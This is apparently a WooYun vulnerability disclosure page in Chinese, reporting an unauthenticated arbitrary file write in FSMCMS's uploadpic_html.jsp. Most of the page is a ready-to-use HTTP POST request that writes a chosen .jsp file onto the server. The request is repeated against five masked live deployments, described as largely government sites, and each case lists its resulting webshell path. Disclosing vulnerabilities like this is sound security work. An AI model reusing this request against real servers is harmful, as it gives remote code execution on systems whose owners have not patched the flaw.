当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0144274

漏洞标题：FSMCMS系统任意文件写入漏洞

相关厂商：FSMCMS

漏洞作者： 路人甲

提交时间：2015-10-10 12:57

修复时间：2015-11-24 12:58

公开时间：2015-11-24 12:58

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-10： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-11-24： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

北京东方文辉信息技术有限公司
官网地址：http://**.**.**.**
版本：通杀
无需登录等认证
大量政府案例：
uploadpic_html.jsp文件上传
使用burpsuite发包:
发包内容：

POST /cms/client/uploadpic_html.jsp?toname=xx.jsp&diskno=xxxx HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=399732FC1E9229FFDFC4590C881DF200
Connection: keep-alive
Content-Type: multipart/form-data;
Content-Length: 65
<?xml version="1.0" encoding="UTF-8"?>
<root>
dGVzdA==
</root>


其中：dGVzdA==
为base编码:test
写入地址：/cms-data/temp_dir/xxxx/temp.files/xx.jsp

案例1：**.**.**.**:8088
POST /nlw/cms/client/uploadpic_html.jsp?toname=xx.jsp&diskno=xxxx HTTP/1.1
Host: **.**.**.**:8088
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=399732FC1E9229FFDFC4590C881DF200
Connection: keep-alive
Content-Type: multipart/form-data;
Content-Length: 65
<?xml version="1.0" encoding="UTF-8"?>
<root>
dGVzdA==
</root>
shell地址：http://**.**.**.**:8088/nlw/cms-data/temp_dir/xxxx/temp.files/xx.jsp


uploadpic_html.jsp上传-案例1.png


案例2：**.**.**.**
POST /cms/client/uploadpic_html.jsp?toname=xx.jsp&diskno=xxxx HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=399732FC1E9229FFDFC4590C881DF200
Connection: keep-alive
Content-Type: multipart/form-data;
Content-Length: 65
<?xml version="1.0" encoding="UTF-8"?>
<root>
dGVzdA==
</root>
shell地址：http://**.**.**.**/cms-data/temp_dir/xxxx/temp.files/xx.jsp


uploadpic_html.jsp上传-案例2.png


案例3：
http://**.**.**.**/
POST /cms/client/uploadpic_html.jsp?toname=xx.jsp&diskno=xxxx HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=399732FC1E9229FFDFC4590C881DF200
Connection: keep-alive
Content-Type: multipart/form-data;
Content-Length: 65
<?xml version="1.0" encoding="UTF-8"?>
<root>
dGVzdA==
</root>
shell：http://**.**.**.**/cms-data/temp_dir/xxxx/temp.files/xx.jsp


uploadpic_html.jsp上传-案例3.png


案例4：
http://**.**.**.**/
POST /cms/client/uploadpic_html.jsp?toname=xx.jsp&diskno=xxxx HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=399732FC1E9229FFDFC4590C881DF200
Connection: keep-alive
Content-Type: multipart/form-data;
Content-Length: 65
<?xml version="1.0" encoding="UTF-8"?>
<root>
dGVzdA==
</root>
shell：http://**.**.**.**/cms-data/temp_dir/xxxx/temp.files/xx.jsp


uploadpic_html.jsp上传-案例4.png


案例5：
http://**.**.**.**/
POST /fsm/cms/client/uploadpic_html.jsp?toname=xx.jsp&diskno=xxxx HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=399732FC1E9229FFDFC4590C881DF200
Connection: keep-alive
Content-Type: multipart/form-data;
Content-Length: 65
<?xml version="1.0" encoding="UTF-8"?>
<root>
dGVzdA==
</root>
shell地址：http://**.**.**.**/fsm/cms-data/temp_dir/xxxx/temp.files/xx.jsp


uploadpic_html.jsp上传-案例5.png

漏洞证明：

如上

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝